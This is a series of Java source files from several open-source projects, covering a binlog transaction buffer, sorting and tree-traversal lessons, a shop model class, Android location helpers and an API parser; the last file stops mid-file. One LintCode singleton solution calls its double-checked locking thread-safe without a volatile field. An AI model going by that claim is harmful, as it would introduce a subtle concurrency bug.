package com.alibaba.otter.canal.parse.inbound; import java.util.ArrayList; import java.util.List; import java.util.concurrent.atomic.AtomicLong; import org.springframework.util.Assert; import com.alibaba.otter.canal.common.AbstractCanalLifeCycle; import com.alibaba.otter.canal.protocol.CanalEntry; import com.alibaba.otter.canal.protocol.CanalEntry.EventType; import com.alibaba.otter.canal.store.CanalStoreException; /** * 缓冲event队列,提供按事务刷新数据的机制 * * @author jianghang 2012-12-6 上午11:05:12 * @version 1.0.0 */ public class EventTransactionBuffer extends AbstractCanalLifeCycle { private static final long INIT_SQEUENCE = -1; private int bufferSize = 1024; private int indexMask; private CanalEntry.Entry[] entries; private AtomicLong putSequence = new AtomicLong(INIT_SQEUENCE); // 代表当前put操作最后一次写操作发生的位置 private AtomicLong flushSequence = new AtomicLong(INIT_SQEUENCE); // 代表满足flush条件后最后一次数据flush的时间 private TransactionFlushCallback flushCallback; public EventTransactionBuffer(){ } public EventTransactionBuffer(TransactionFlushCallback flushCallback){ this.flushCallback = flushCallback; } public void start() throws CanalStoreException { super.start(); if (Integer.bitCount(bufferSize) != 1) { throw new IllegalArgumentException("bufferSize must be a power of 2"); } Assert.notNull(flushCallback, "flush callback is null!"); indexMask = bufferSize - 1; entries = new CanalEntry.Entry[bufferSize]; } public void stop() throws CanalStoreException { putSequence.set(INIT_SQEUENCE); flushSequence.set(INIT_SQEUENCE); entries = null; super.stop(); } public void add(List<CanalEntry.Entry> entrys) throws InterruptedException { for (CanalEntry.Entry entry : entrys) { add(entry); } } public void add(CanalEntry.Entry entry) throws InterruptedException { switch (entry.getEntryType()) { case TRANSACTIONBEGIN: flush();// 刷新上一次的数据 put(entry); break; case TRANSACTIONEND: put(entry); flush(); break; case ROWDATA: put(entry); // 针对非DML的数据,直接输出,不进行buffer控制 EventType eventType = entry.getHeader().getEventType(); if (eventType != null && !isDml(eventType)) { flush(); } break; case HEARTBEAT: // master过来的heartbeat,说明binlog已经读完了,是idle状态 put(entry); flush(); break; default: break; } } public void reset() { putSequence.set(INIT_SQEUENCE); flushSequence.set(INIT_SQEUENCE); } private void put(CanalEntry.Entry data) throws InterruptedException { // 首先检查是否有空位 if (checkFreeSlotAt(putSequence.get() + 1)) { long current = putSequence.get(); long next = current + 1; // 先写数据,再更新对应的cursor,并发度高的情况,putSequence会被get请求可见,拿出了ringbuffer中的老的Entry值 entries[getIndex(next)] = data; putSequence.set(next); } else { flush();// buffer区满了,刷新一下 put(data);// 继续加一下新数据 } } private void flush() throws InterruptedException { long start = this.flushSequence.get() + 1; long end = this.putSequence.get(); if (start <= end) { List<CanalEntry.Entry> transaction = new ArrayList<>(); for (long next = start; next <= end; next++) { transaction.add(this.entries[getIndex(next)]); } flushCallback.flush(transaction); flushSequence.set(end);// flush成功后,更新flush位置 } } /** * 查询是否有空位 */ private boolean checkFreeSlotAt(final long sequence) { final long wrapPoint = sequence - bufferSize; if (wrapPoint > flushSequence.get()) { // 刚好追上一轮 return false; } else { return true; } } private int getIndex(long sequcnce) { return (int) sequcnce & indexMask; } private boolean isDml(EventType eventType) { return eventType == EventType.INSERT || eventType == EventType.UPDATE || eventType == EventType.DELETE; } // ================ setter / getter ================== public void setBufferSize(int bufferSize) { this.bufferSize = bufferSize; } public void setFlushCallback(TransactionFlushCallback flushCallback) { this.flushCallback = flushCallback; } /** * 事务刷新机制 * * @author jianghang 2012-12-6 上午11:57:38 * @version 1.0.0 */ public static interface TransactionFlushCallback { public void flush(List<CanalEntry.Entry> transaction) throws InterruptedException; } }
alibaba/canal
parse/src/main/java/com/alibaba/otter/canal/parse/inbound/EventTransactionBuffer.java
120
/** * File: binary_tree_dfs.java * Created Time: 2022-11-25 * Author: krahets (krahets@163.com) */ package chapter_tree; import utils.*; import java.util.*; public class binary_tree_dfs { // 初始化列表,用于存储遍历序列 static ArrayList<Integer> list = new ArrayList<>(); /* 前序遍历 */ static void preOrder(TreeNode root) { if (root == null) return; // 访问优先级:根节点 -> 左子树 -> 右子树 list.add(root.val); preOrder(root.left); preOrder(root.right); } /* 中序遍历 */ static void inOrder(TreeNode root) { if (root == null) return; // 访问优先级:左子树 -> 根节点 -> 右子树 inOrder(root.left); list.add(root.val); inOrder(root.right); } /* 后序遍历 */ static void postOrder(TreeNode root) { if (root == null) return; // 访问优先级:左子树 -> 右子树 -> 根节点 postOrder(root.left); postOrder(root.right); list.add(root.val); } public static void main(String[] args) { /* 初始化二叉树 */ // 这里借助了一个从数组直接生成二叉树的函数 TreeNode root = TreeNode.listToTree(Arrays.asList(1, 2, 3, 4, 5, 6, 7)); System.out.println("\n初始化二叉树\n"); PrintUtil.printTree(root); /* 前序遍历 */ list.clear(); preOrder(root); System.out.println("\n前序遍历的节点打印序列 = " + list); /* 中序遍历 */ list.clear(); inOrder(root); System.out.println("\n中序遍历的节点打印序列 = " + list); /* 后序遍历 */ list.clear(); postOrder(root); System.out.println("\n后序遍历的节点打印序列 = " + list); } }
krahets/hello-algo
codes/java/chapter_tree/binary_tree_dfs.java
121
package com.macro.mall.model; import io.swagger.annotations.ApiModelProperty; import java.io.Serializable; public class PmsBrand implements Serializable { private Long id; private String name; @ApiModelProperty(value = "首字母") private String firstLetter; private Integer sort; @ApiModelProperty(value = "是否为品牌制造商:0->不是;1->是") private Integer factoryStatus; private Integer showStatus; @ApiModelProperty(value = "产品数量") private Integer productCount; @ApiModelProperty(value = "产品评论数量") private Integer productCommentCount; @ApiModelProperty(value = "品牌logo") private String logo; @ApiModelProperty(value = "专区大图") private String bigPic; @ApiModelProperty(value = "品牌故事") private String brandStory; private static final long serialVersionUID = 1L; public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getFirstLetter() { return firstLetter; } public void setFirstLetter(String firstLetter) { this.firstLetter = firstLetter; } public Integer getSort() { return sort; } public void setSort(Integer sort) { this.sort = sort; } public Integer getFactoryStatus() { return factoryStatus; } public void setFactoryStatus(Integer factoryStatus) { this.factoryStatus = factoryStatus; } public Integer getShowStatus() { return showStatus; } public void setShowStatus(Integer showStatus) { this.showStatus = showStatus; } public Integer getProductCount() { return productCount; } public void setProductCount(Integer productCount) { this.productCount = productCount; } public Integer getProductCommentCount() { return productCommentCount; } public void setProductCommentCount(Integer productCommentCount) { this.productCommentCount = productCommentCount; } public String getLogo() { return logo; } public void setLogo(String logo) { this.logo = logo; } public String getBigPic() { return bigPic; } public void setBigPic(String bigPic) { this.bigPic = bigPic; } public String getBrandStory() { return brandStory; } public void setBrandStory(String brandStory) { this.brandStory = brandStory; } @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append(getClass().getSimpleName()); sb.append(" ["); sb.append("Hash = ").append(hashCode()); sb.append(", id=").append(id); sb.append(", name=").append(name); sb.append(", firstLetter=").append(firstLetter); sb.append(", sort=").append(sort); sb.append(", factoryStatus=").append(factoryStatus); sb.append(", showStatus=").append(showStatus); sb.append(", productCount=").append(productCount); sb.append(", productCommentCount=").append(productCommentCount); sb.append(", logo=").append(logo); sb.append(", bigPic=").append(bigPic); sb.append(", brandStory=").append(brandStory); sb.append(", serialVersionUID=").append(serialVersionUID); sb.append("]"); return sb.toString(); } }
macrozheng/mall
mall-mbg/src/main/java/com/macro/mall/model/PmsBrand.java
122
/** * File: counting_sort.java * Created Time: 2023-03-17 * Author: krahets (krahets@163.com) */ package chapter_sorting; import java.util.*; public class counting_sort { /* 计数排序 */ // 简单实现,无法用于排序对象 static void countingSortNaive(int[] nums) { // 1. 统计数组最大元素 m int m = 0; for (int num : nums) { m = Math.max(m, num); } // 2. 统计各数字的出现次数 // counter[num] 代表 num 的出现次数 int[] counter = new int[m + 1]; for (int num : nums) { counter[num]++; } // 3. 遍历 counter ,将各元素填入原数组 nums int i = 0; for (int num = 0; num < m + 1; num++) { for (int j = 0; j < counter[num]; j++, i++) { nums[i] = num; } } } /* 计数排序 */ // 完整实现,可排序对象,并且是稳定排序 static void countingSort(int[] nums) { // 1. 统计数组最大元素 m int m = 0; for (int num : nums) { m = Math.max(m, num); } // 2. 统计各数字的出现次数 // counter[num] 代表 num 的出现次数 int[] counter = new int[m + 1]; for (int num : nums) { counter[num]++; } // 3. 求 counter 的前缀和,将“出现次数”转换为“尾索引” // 即 counter[num]-1 是 num 在 res 中最后一次出现的索引 for (int i = 0; i < m; i++) { counter[i + 1] += counter[i]; } // 4. 倒序遍历 nums ,将各元素填入结果数组 res // 初始化数组 res 用于记录结果 int n = nums.length; int[] res = new int[n]; for (int i = n - 1; i >= 0; i--) { int num = nums[i]; res[counter[num] - 1] = num; // 将 num 放置到对应索引处 counter[num]--; // 令前缀和自减 1 ,得到下次放置 num 的索引 } // 使用结果数组 res 覆盖原数组 nums for (int i = 0; i < n; i++) { nums[i] = res[i]; } } public static void main(String[] args) { int[] nums = { 1, 0, 1, 2, 0, 4, 0, 2, 2, 4 }; countingSortNaive(nums); System.out.println("计数排序(无法排序对象)完成后 nums = " + Arrays.toString(nums)); int[] nums1 = { 1, 0, 1, 2, 0, 4, 0, 2, 2, 4 }; countingSort(nums1); System.out.println("计数排序完成后 nums1 = " + Arrays.toString(nums1)); } }
krahets/hello-algo
codes/java/chapter_sorting/counting_sort.java
123
package com.crossoverjie.algorithm; /** * Function: 合并两个排好序的链表 * * 每次比较两个链表的头结点,将较小结点放到新的链表,最后将新链表指向剩余的链表 * * @author crossoverJie * Date: 07/12/2017 13:58 * @since JDK 1.8 */ public class MergeTwoSortedLists { /** * 1. 声明一个头结点 * 2. 将头结点的引用赋值给一个临时结点,也可以叫做下一结点。 * 3. 进行循环比较,每次都将指向值较小的那个结点(较小值的引用赋值给 lastNode )。 * 4. 再去掉较小值链表的头结点,指针后移。 * 5. lastNode 指针也向后移,由于 lastNode 是 head 的引用,这样可以保证最终 head 的值是往后更新的。 * 6. 当其中一个链表的指针移到最后时跳出循环。 * 7. 由于这两个链表已经是排好序的,所以剩下的链表必定是最大的值,只需要将指针指向它即可。 * 8. 由于 head 链表的第一个结点是初始化的0,所以只需要返回 0 的下一个结点即是合并了的链表。 * @param l1 * @param l2 * @return */ public ListNode mergeTwoLists(ListNode l1, ListNode l2) { ListNode head = new ListNode(0) ; ListNode lastNode = head ; while (l1 != null && l2 != null){ if (l1.currentVal < l2.currentVal){ lastNode.next = l1 ; l1 = l1.next ; } else { lastNode.next = l2 ; l2 = l2.next ; } lastNode =lastNode.next ; } if (l1 == null){ lastNode.next = l2 ; } if (l2 == null){ lastNode.next = l1 ; } return head.next ; } public static class ListNode { /** * 当前值 */ int currentVal; /** * 下一个节点 */ ListNode next; ListNode(int val) { currentVal = val; } @Override public String toString() { return "ListNode{" + "currentVal=" + currentVal + ", next=" + next + '}'; } } }
crossoverJie/JCSprout
src/main/java/com/crossoverjie/algorithm/MergeTwoSortedLists.java
124
package com.blankj.subutil.util; import android.content.Context; import android.content.Intent; import android.location.Address; import android.location.Criteria; import android.location.Geocoder; import android.location.Location; import android.location.LocationListener; import android.location.LocationManager; import android.location.LocationProvider; import android.os.Bundle; import android.provider.Settings; import androidx.annotation.RequiresPermission; import android.util.Log; import com.blankj.utilcode.util.Utils; import java.io.IOException; import java.util.List; import java.util.Locale; import static android.Manifest.permission.ACCESS_COARSE_LOCATION; import static android.Manifest.permission.ACCESS_FINE_LOCATION; /** * <pre> * author: Blankj * blog : http://blankj.com * time : 16/11/13 * desc : 定位相关工具类 * </pre> */ public final class LocationUtils { private static final int TWO_MINUTES = 1000 * 60 * 2; private static OnLocationChangeListener mListener; private static MyLocationListener myLocationListener; private static LocationManager mLocationManager; private LocationUtils() { throw new UnsupportedOperationException("u can't instantiate me..."); } // /** // * you have to check for Location Permission before use this method // * add this code <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> to your Manifest file. // * you have also implement LocationListener and passed it to the method. // * // * @param Context // * @param LocationListener // * @return {@code Location} // */ // // @SuppressLint("MissingPermission") // public static Location getLocation(Context context, LocationListener listener) { // Location location = null; // try { // mLocationManager = (LocationManager) context.getSystemService(LOCATION_SERVICE); // if (!isLocationEnabled()) { // //no Network and GPS providers is enabled // Toast.makeText(context // , " you have to open GPS or INTERNET" // , Toast.LENGTH_LONG) // .show(); // } else { // if (isLocationEnabled()) { // mLocationManager.requestLocationUpdates( // LocationManager.NETWORK_PROVIDER, // MIN_TIME_BETWEEN_UPDATES, // MIN_DISTANCE_CHANGE_FOR_UPDATES, // listener); // // if (mLocationManager != null) { // location = mLocationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); // if (location != null) { // mLocationManager.removeUpdates(listener); // return location; // } // } // } // //when GPS is enabled. // if (isGpsEnabled()) { // if (location == null) { // mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, // MIN_TIME_BETWEEN_UPDATES, // MIN_DISTANCE_CHANGE_FOR_UPDATES, // listener); // // if (mLocationManager != null) { // location = // mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); // if (location != null) { // mLocationManager.removeUpdates(listener); // return location; // } // } // } // } // // } // } catch (Exception e) { // e.printStackTrace(); // } // // return location; // } /** * 判断Gps是否可用 * * @return {@code true}: 是<br>{@code false}: 否 */ public static boolean isGpsEnabled() { LocationManager lm = (LocationManager) Utils.getApp().getSystemService(Context.LOCATION_SERVICE); return lm.isProviderEnabled(LocationManager.GPS_PROVIDER); } /** * 判断定位是否可用 * * @return {@code true}: 是<br>{@code false}: 否 */ public static boolean isLocationEnabled() { LocationManager lm = (LocationManager) Utils.getApp().getSystemService(Context.LOCATION_SERVICE); return lm.isProviderEnabled(LocationManager.NETWORK_PROVIDER) || lm.isProviderEnabled(LocationManager.GPS_PROVIDER); } /** * 打开Gps设置界面 */ public static void openGpsSettings() { Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS); Utils.getApp().startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)); } /** * 注册 * <p>使用完记得调用{@link #unregister()}</p> * <p>需添加权限 {@code <uses-permission android:name="android.permission.INTERNET" />}</p> * <p>需添加权限 {@code <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />}</p> * <p>需添加权限 {@code <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />}</p> * <p>如果{@code minDistance}为0,则通过{@code minTime}来定时更新;</p> * <p>{@code minDistance}不为0,则以{@code minDistance}为准;</p> * <p>两者都为0,则随时刷新。</p> * * @param minTime 位置信息更新周期(单位:毫秒) * @param minDistance 位置变化最小距离:当位置距离变化超过此值时,将更新位置信息(单位:米) * @param listener 位置刷新的回调接口 * @return {@code true}: 初始化成功<br>{@code false}: 初始化失败 */ @RequiresPermission(ACCESS_FINE_LOCATION) public static boolean register(long minTime, long minDistance, OnLocationChangeListener listener) { if (listener == null) return false; mLocationManager = (LocationManager) Utils.getApp().getSystemService(Context.LOCATION_SERVICE); if (!mLocationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER) && !mLocationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) { Log.d("LocationUtils", "无法定位,请打开定位服务"); return false; } mListener = listener; String provider = mLocationManager.getBestProvider(getCriteria(), true); Location location = mLocationManager.getLastKnownLocation(provider); if (location != null) listener.getLastKnownLocation(location); if (myLocationListener == null) myLocationListener = new MyLocationListener(); mLocationManager.requestLocationUpdates(provider, minTime, minDistance, myLocationListener); return true; } /** * 注销 */ @RequiresPermission(ACCESS_COARSE_LOCATION) public static void unregister() { if (mLocationManager != null) { if (myLocationListener != null) { mLocationManager.removeUpdates(myLocationListener); myLocationListener = null; } mLocationManager = null; } if (mListener != null) { mListener = null; } } /** * 设置定位参数 * * @return {@link Criteria} */ private static Criteria getCriteria() { Criteria criteria = new Criteria(); // 设置定位精确度 Criteria.ACCURACY_COARSE比较粗略,Criteria.ACCURACY_FINE则比较精细 criteria.setAccuracy(Criteria.ACCURACY_FINE); // 设置是否要求速度 criteria.setSpeedRequired(false); // 设置是否允许运营商收费 criteria.setCostAllowed(false); // 设置是否需要方位信息 criteria.setBearingRequired(false); // 设置是否需要海拔信息 criteria.setAltitudeRequired(false); // 设置对电源的需求 criteria.setPowerRequirement(Criteria.POWER_LOW); return criteria; } /** * 根据经纬度获取地理位置 * * @param latitude 纬度 * @param longitude 经度 * @return {@link Address} */ public static Address getAddress(double latitude, double longitude) { Geocoder geocoder = new Geocoder(Utils.getApp(), Locale.getDefault()); try { List<Address> addresses = geocoder.getFromLocation(latitude, longitude, 1); if (addresses.size() > 0) return addresses.get(0); } catch (IOException e) { e.printStackTrace(); } return null; } /** * 根据经纬度获取所在国家 * * @param latitude 纬度 * @param longitude 经度 * @return 所在国家 */ public static String getCountryName(double latitude, double longitude) { Address address = getAddress(latitude, longitude); return address == null ? "unknown" : address.getCountryName(); } /** * 根据经纬度获取所在地 * * @param latitude 纬度 * @param longitude 经度 * @return 所在地 */ public static String getLocality(double latitude, double longitude) { Address address = getAddress(latitude, longitude); return address == null ? "unknown" : address.getLocality(); } /** * 根据经纬度获取所在街道 * * @param latitude 纬度 * @param longitude 经度 * @return 所在街道 */ public static String getStreet(double latitude, double longitude) { Address address = getAddress(latitude, longitude); return address == null ? "unknown" : address.getAddressLine(0); } /** * 是否更好的位置 * * @param newLocation The new Location that you want to evaluate * @param currentBestLocation The current Location fix, to which you want to compare the new one * @return {@code true}: 是<br>{@code false}: 否 */ public static boolean isBetterLocation(Location newLocation, Location currentBestLocation) { if (currentBestLocation == null) { // A new location is always better than no location return true; } // Check whether the new location fix is newer or older long timeDelta = newLocation.getTime() - currentBestLocation.getTime(); boolean isSignificantlyNewer = timeDelta > TWO_MINUTES; boolean isSignificantlyOlder = timeDelta < -TWO_MINUTES; boolean isNewer = timeDelta > 0; // If it's been more than two minutes since the current location, use the new location // because the user has likely moved if (isSignificantlyNewer) { return true; // If the new location is more than two minutes older, it must be worse } else if (isSignificantlyOlder) { return false; } // Check whether the new location fix is more or less accurate int accuracyDelta = (int) (newLocation.getAccuracy() - currentBestLocation.getAccuracy()); boolean isLessAccurate = accuracyDelta > 0; boolean isMoreAccurate = accuracyDelta < 0; boolean isSignificantlyLessAccurate = accuracyDelta > 200; // Check if the old and new location are from the same provider boolean isFromSameProvider = isSameProvider(newLocation.getProvider(), currentBestLocation.getProvider()); // Determine location quality using a combination of timeliness and accuracy if (isMoreAccurate) { return true; } else if (isNewer && !isLessAccurate) { return true; } else if (isNewer && !isSignificantlyLessAccurate && isFromSameProvider) { return true; } return false; } /** * 是否相同的提供者 * * @param provider0 提供者1 * @param provider1 提供者2 * @return {@code true}: 是<br>{@code false}: 否 */ public static boolean isSameProvider(String provider0, String provider1) { if (provider0 == null) { return provider1 == null; } return provider0.equals(provider1); } private static class MyLocationListener implements LocationListener { /** * 当坐标改变时触发此函数,如果Provider传进相同的坐标,它就不会被触发 * * @param location 坐标 */ @Override public void onLocationChanged(Location location) { if (mListener != null) { mListener.onLocationChanged(location); } } /** * provider的在可用、暂时不可用和无服务三个状态直接切换时触发此函数 * * @param provider 提供者 * @param status 状态 * @param extras provider可选包 */ @Override public void onStatusChanged(String provider, int status, Bundle extras) { if (mListener != null) { mListener.onStatusChanged(provider, status, extras); } switch (status) { case LocationProvider.AVAILABLE: Log.d("LocationUtils", "当前GPS状态为可见状态"); break; case LocationProvider.OUT_OF_SERVICE: Log.d("LocationUtils", "当前GPS状态为服务区外状态"); break; case LocationProvider.TEMPORARILY_UNAVAILABLE: Log.d("LocationUtils", "当前GPS状态为暂停服务状态"); break; } } /** * provider被enable时触发此函数,比如GPS被打开 */ @Override public void onProviderEnabled(String provider) { } /** * provider被disable时触发此函数,比如GPS被关闭 */ @Override public void onProviderDisabled(String provider) { } } public interface OnLocationChangeListener { /** * 获取最后一次保留的坐标 * * @param location 坐标 */ void getLastKnownLocation(Location location); /** * 当坐标改变时触发此函数,如果Provider传进相同的坐标,它就不会被触发 * * @param location 坐标 */ void onLocationChanged(Location location); /** * provider的在可用、暂时不可用和无服务三个状态直接切换时触发此函数 * * @param provider 提供者 * @param status 状态 * @param extras provider可选包 */ void onStatusChanged(String provider, int status, Bundle extras);//位置状态发生改变 } }
Blankj/AndroidUtilCode
lib/subutil/src/main/java/com/blankj/subutil/util/LocationUtils.java
125
package cn.hutool.core.thread; import java.lang.reflect.UndeclaredThrowableException; import java.util.concurrent.CompletableFuture; import java.util.concurrent.ExecutionException; /** * {@link CompletableFuture}异步工具类<br> * {@link CompletableFuture} 是 Future 的改进,可以通过传入回调对象,在任务完成后调用之 * * @author achao1441470436@gmail.com * @since 5.7.17 */ public class AsyncUtil { /** * 等待所有任务执行完毕,包裹了异常 * * @param tasks 并行任务 * @throws UndeclaredThrowableException 未受检异常 */ public static void waitAll(CompletableFuture<?>... tasks) { try { CompletableFuture.allOf(tasks).get(); } catch (InterruptedException | ExecutionException e) { throw new ThreadException(e); } } /** * 等待任意一个任务执行完毕,包裹了异常 * * @param <T> 任务返回值类型 * @param tasks 并行任务 * @return 执行结束的任务返回值 * @throws UndeclaredThrowableException 未受检异常 */ @SuppressWarnings("unchecked") public static <T> T waitAny(CompletableFuture<?>... tasks) { try { return (T) CompletableFuture.anyOf(tasks).get(); } catch (InterruptedException | ExecutionException e) { throw new ThreadException(e); } } /** * 获取异步任务结果,包裹了异常 * * @param <T> 任务返回值类型 * @param task 异步任务 * @return 任务返回值 * @throws RuntimeException 未受检异常 */ public static <T> T get(CompletableFuture<T> task) { try { return task.get(); } catch (InterruptedException | ExecutionException e) { throw new ThreadException(e); } } }
dromara/hutool
hutool-core/src/main/java/cn/hutool/core/thread/AsyncUtil.java
126
E 1525415182 tags: Design 让一个class 是 singleton ``` /* Singleton is a most widely used design pattern. If a class has and only has one instance at every moment, we call this design as singleton. For example, for class Mouse (not a animal mouse), we should design it in singleton. You job is to implement a getInstance method for given class, return the same instance of this class every time you call this method. Example In Java: A a = A.getInstance(); A b = A.getInstance(); a should equal to b. Challenge If we call getInstance concurrently, can you make sure your code could run correctly? Tags Expand LintCode Copyright OO Design */ class Solution { public static Solution instance = null; public static Solution getInstance() { if (instance == null) { instance = new Solution(); } return instance; } }; // Thread safe: class Solution { public static Solution solution = null; /** * @return: The same instance of this class every time */ public static Solution getInstance() { if (solution == null) { synchronized (Solution.class) { // Double check if (solution == null) { solution = new Solution(); } } } return solution; } }; ```
awangdev/leet-code
Java/Singleton.java
127
/*Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved. This source code is licensed under the Apache License Version 2.0.*/ package apijson.orm; import apijson.orm.exception.ConflictException; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import java.io.UnsupportedEncodingException; import java.lang.management.ManagementFactory; import java.net.InetAddress; import java.net.URLEncoder; import java.sql.Connection; import java.sql.SQLException; import java.sql.Savepoint; import java.util.*; import java.util.Map.Entry; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.Query; import apijson.JSON; import apijson.JSONRequest; import apijson.JSONResponse; import apijson.Log; import apijson.NotNull; import apijson.RequestMethod; import apijson.StringUtil; import apijson.orm.exception.CommonException; import apijson.orm.exception.UnsupportedDataTypeException; import static apijson.JSONObject.KEY_COMBINE; import static apijson.JSONObject.KEY_EXPLAIN; import static apijson.RequestMethod.CRUD; import static apijson.RequestMethod.GET; /**Parser<T> for parsing request to JSONObject * @author Lemon */ public abstract class AbstractParser<T extends Object> implements Parser<T>, ParserCreator<T>, VerifierCreator<T>, SQLCreator { protected static final String TAG = "AbstractParser"; /** * JSON 对象、数组对应的数据源、版本、角色、method等 */ protected Map<Object, Map<String, Object>> keyObjectAttributesMap = new HashMap<>(); /** * 可以通过切换该变量来控制是否打印关键的接口请求内容。保守起见,该值默认为false。 * 与 {@link Log#DEBUG} 任何一个为 true 都会打印关键的接口请求内容。 */ public static boolean IS_PRINT_REQUEST_STRING_LOG = false; /** * 打印大数据量日志的标识。线上环境比较敏感,可以通过切换该变量来控制异常栈抛出、错误日志打印。保守起见,该值默认为false。 * 与 {@link Log#DEBUG} 任何一个为 true 都会打印关键的接口请求及响应信息。 */ public static boolean IS_PRINT_BIG_LOG = false; /** * 可以通过切换该变量来控制是否打印关键的接口请求结束时间。保守起见,该值默认为false。 * 与 {@link Log#DEBUG} 任何一个为 true 都会打印关键的接口请求结束时间。 */ public static boolean IS_PRINT_REQUEST_ENDTIME_LOG = false; public static int DEFAULT_QUERY_COUNT = 10; public static int MAX_QUERY_PAGE = 100; public static int MAX_QUERY_COUNT = 100; public static int MAX_UPDATE_COUNT = 10; public static int MAX_SQL_COUNT = 200; public static int MAX_OBJECT_COUNT = 5; public static int MAX_ARRAY_COUNT = 5; public static int MAX_QUERY_DEPTH = 5; @Override public int getDefaultQueryCount() { return DEFAULT_QUERY_COUNT; } @Override public int getMaxQueryPage() { return MAX_QUERY_PAGE; } @Override public int getMaxQueryCount() { return MAX_QUERY_COUNT; } @Override public int getMaxUpdateCount() { return MAX_UPDATE_COUNT; } @Override public int getMaxSQLCount() { return MAX_SQL_COUNT; } @Override public int getMaxObjectCount() { return MAX_OBJECT_COUNT; } @Override public int getMaxArrayCount() { return MAX_ARRAY_COUNT; } @Override public int getMaxQueryDepth() { return MAX_QUERY_DEPTH; } /** * method = null */ public AbstractParser() { this(null); } /**needVerify = true * @param method null ? requestMethod = GET */ public AbstractParser(RequestMethod method) { super(); setMethod(method); setNeedVerifyRole(AbstractVerifier.ENABLE_VERIFY_ROLE); setNeedVerifyContent(AbstractVerifier.ENABLE_VERIFY_CONTENT); } /** * @param method null ? requestMethod = GET * @param needVerify 仅限于为服务端提供方法免验证特权,普通请求不要设置为 false ! 如果对应Table有权限也建议用默认值 true,保持和客户端权限一致 */ public AbstractParser(RequestMethod method, boolean needVerify) { super(); setMethod(method); setNeedVerify(needVerify); } protected boolean isRoot = true; public boolean isRoot() { return isRoot; } public AbstractParser<T> setRoot(boolean isRoot) { this.isRoot = isRoot; return this; } public static final String KEY_REF = "Reference"; /**警告信息 * Map<"Reference", "引用赋值获取路径 /Comment/userId 对应的值为 null!"> */ protected Map<String, String> warnMap = new LinkedHashMap<>(); public String getWarn(String type) { return warnMap == null ? null : warnMap.get(type); } public AbstractParser<T> putWarnIfNeed(String type, String warn) { if (Log.DEBUG) { String w = getWarn(type); if (StringUtil.isEmpty(w, true)) { putWarn(type, warn); } } return this; } public AbstractParser<T> putWarn(String type, String warn) { if (warnMap == null) { warnMap = new LinkedHashMap<>(); } warnMap.put(type, warn); return this; } /**获取警告信息 * @return */ public String getWarnString() { Set<Entry<String, String>> set = warnMap == null ? null : warnMap.entrySet(); if (set == null || set.isEmpty()) { return null; } StringBuilder sb = new StringBuilder(); for (Entry<String, String> e : set) { String k = e == null ? null : e.getKey(); String v = k == null ? null : e.getValue(); if (StringUtil.isEmpty(v, true)) { continue; } if (StringUtil.isNotEmpty(k, true)) { sb.append("[" + k + "]: "); } sb.append(v + "; "); } return sb.toString(); } @NotNull protected Visitor<T> visitor; @NotNull @Override public Visitor<T> getVisitor() { if (visitor == null) { visitor = new Visitor<T>() { @Override public T getId() { return null; } @Override public List<T> getContactIdList() { return null; } }; } return visitor; } @Override public AbstractParser<T> setVisitor(@NotNull Visitor<T> visitor) { this.visitor = visitor; return this; } protected RequestMethod requestMethod; @NotNull @Override public RequestMethod getMethod() { return requestMethod; } @NotNull @Override public AbstractParser<T> setMethod(RequestMethod method) { this.requestMethod = method == null ? GET : method; this.transactionIsolation = RequestMethod.isQueryMethod(method) ? Connection.TRANSACTION_NONE : Connection.TRANSACTION_REPEATABLE_READ; return this; } protected int version; @Override public int getVersion() { return version; } @Override public AbstractParser<T> setVersion(int version) { this.version = version; return this; } protected String tag; @Override public String getTag() { return tag; } @Override public AbstractParser<T> setTag(String tag) { this.tag = tag; return this; } protected String requestURL; public String getRequestURL() { return requestURL; } public AbstractParser<T> setRequestURL(String requestURL) { this.requestURL = requestURL; return this; } protected JSONObject requestObject; @Override public JSONObject getRequest() { return requestObject; } @Override public AbstractParser<T> setRequest(JSONObject request) { this.requestObject = request; return this; } protected Boolean globalFormat; public AbstractParser<T> setGlobalFormat(Boolean globalFormat) { this.globalFormat = globalFormat; return this; } @Override public Boolean getGlobalFormat() { return globalFormat; } protected String globalRole; public AbstractParser<T> setGlobalRole(String globalRole) { this.globalRole = globalRole; return this; } @Override public String getGlobalRole() { return globalRole; } protected String globalDatabase; public AbstractParser<T> setGlobalDatabase(String globalDatabase) { this.globalDatabase = globalDatabase; return this; } @Override public String getGlobalDatabase() { return globalDatabase; } protected String globalSchema; public AbstractParser<T> setGlobalSchema(String globalSchema) { this.globalSchema = globalSchema; return this; } @Override public String getGlobalSchema() { return globalSchema; } protected String globalDatasource; @Override public String getGlobalDatasource() { return globalDatasource; } public AbstractParser<T> setGlobalDatasource(String globalDatasource) { this.globalDatasource = globalDatasource; return this; } protected Boolean globalExplain; public AbstractParser<T> setGlobalExplain(Boolean globalExplain) { this.globalExplain = globalExplain; return this; } @Override public Boolean getGlobalExplain() { return globalExplain; } protected String globalCache; public AbstractParser<T> setGlobalCache(String globalCache) { this.globalCache = globalCache; return this; } @Override public String getGlobalCache() { return globalCache; } @Override public AbstractParser<T> setNeedVerify(boolean needVerify) { setNeedVerifyLogin(needVerify); setNeedVerifyRole(needVerify); setNeedVerifyContent(needVerify); return this; } protected boolean needVerifyLogin; @Override public boolean isNeedVerifyLogin() { return needVerifyLogin; } @Override public AbstractParser<T> setNeedVerifyLogin(boolean needVerifyLogin) { this.needVerifyLogin = needVerifyLogin; return this; } protected boolean needVerifyRole; @Override public boolean isNeedVerifyRole() { return needVerifyRole; } @Override public AbstractParser<T> setNeedVerifyRole(boolean needVerifyRole) { this.needVerifyRole = needVerifyRole; return this; } protected boolean needVerifyContent; @Override public boolean isNeedVerifyContent() { return needVerifyContent; } @Override 